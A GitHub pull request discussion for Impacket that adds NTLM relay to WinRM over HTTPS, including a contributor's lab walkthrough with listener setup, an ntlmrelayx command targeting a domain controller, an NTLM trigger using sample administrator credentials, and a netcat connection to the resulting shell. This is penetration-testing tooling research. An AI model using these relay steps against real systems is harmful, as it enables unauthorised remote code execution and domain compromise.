Add new relay capabilities to the WinRM HTTPS endpoint#1947
Conversation
|
That's some crazy stuff, good job @Dfte! |
|
Updates needed. I realized far too late that this technique was working on my environements because NTLMv1 was enabled. This technique won't work for NTLMv2 as is. Yet, I believe this can still be an interesting use case to add to Impacket as this module can still be used if:
Once again, sorry for the misinformation and feel free to add/deny this feature :) |
|
Have seen the error which made me realize I forgot to include latest WinRMrelayserver upgrades. And I fixed the spelling issues as well so hopefully I'll push all the updates in a couple of days :) |
|
At this point I have added:
:P |
|
For anybody who wants to play around with this PR: Setup WinRMS. New-SelfSignedCertificate -Subject 'CN=dc01.corp.local' -TextExtension '2.5.29.37={text}1.3.6.1.5.5.7.3.1'c
winrm create 'winrm/config/Listener?Address=*+Transport=HTTPS' '@{Hostname="dc01.corp.local"; CertificateThumbprint="9592A6D026E71AFFA17049D16D74AA7C47A89788"}'
New-NetFirewallRule -DisplayName 'WinRM HTTPS' -Direction 'Inbound' -LocalPort 5986 -Protocol 'TCP' -Action 'Allow' -Program 'System'Start relay server. ntlmrelayx.py -debug --no-smb-server --no-wcf-server --no-raw-server -t winrms://dc01.corp.localTrigger authentication. curl http://localhost -u 'corp\administrator:passw0rd' --ntlmGet shell. nc -v 127.0.0.1 11000 |
|
Hey @anadrianmanrique any news on this one ? Considering it doesn't change any files or structures but simply adds new ones, can we merge that? |
This PR adds a new relay capability allowing us to relay SMB/LDAP/HTTP NTLM (v1 or unsecured ones) authentications to the WinRM HTTPS endpoint.
This endpoint is not configured on a default server installation but it is not protected by Channel Binding once configured by a sysadmin which makes it a possible great relay alternative for remote code executino.
Default action creates an interactive TCP shell that can be used via NC (socks is also implemented):
This PR was created by Joseph Mondloch (jmk@foofus) and me :)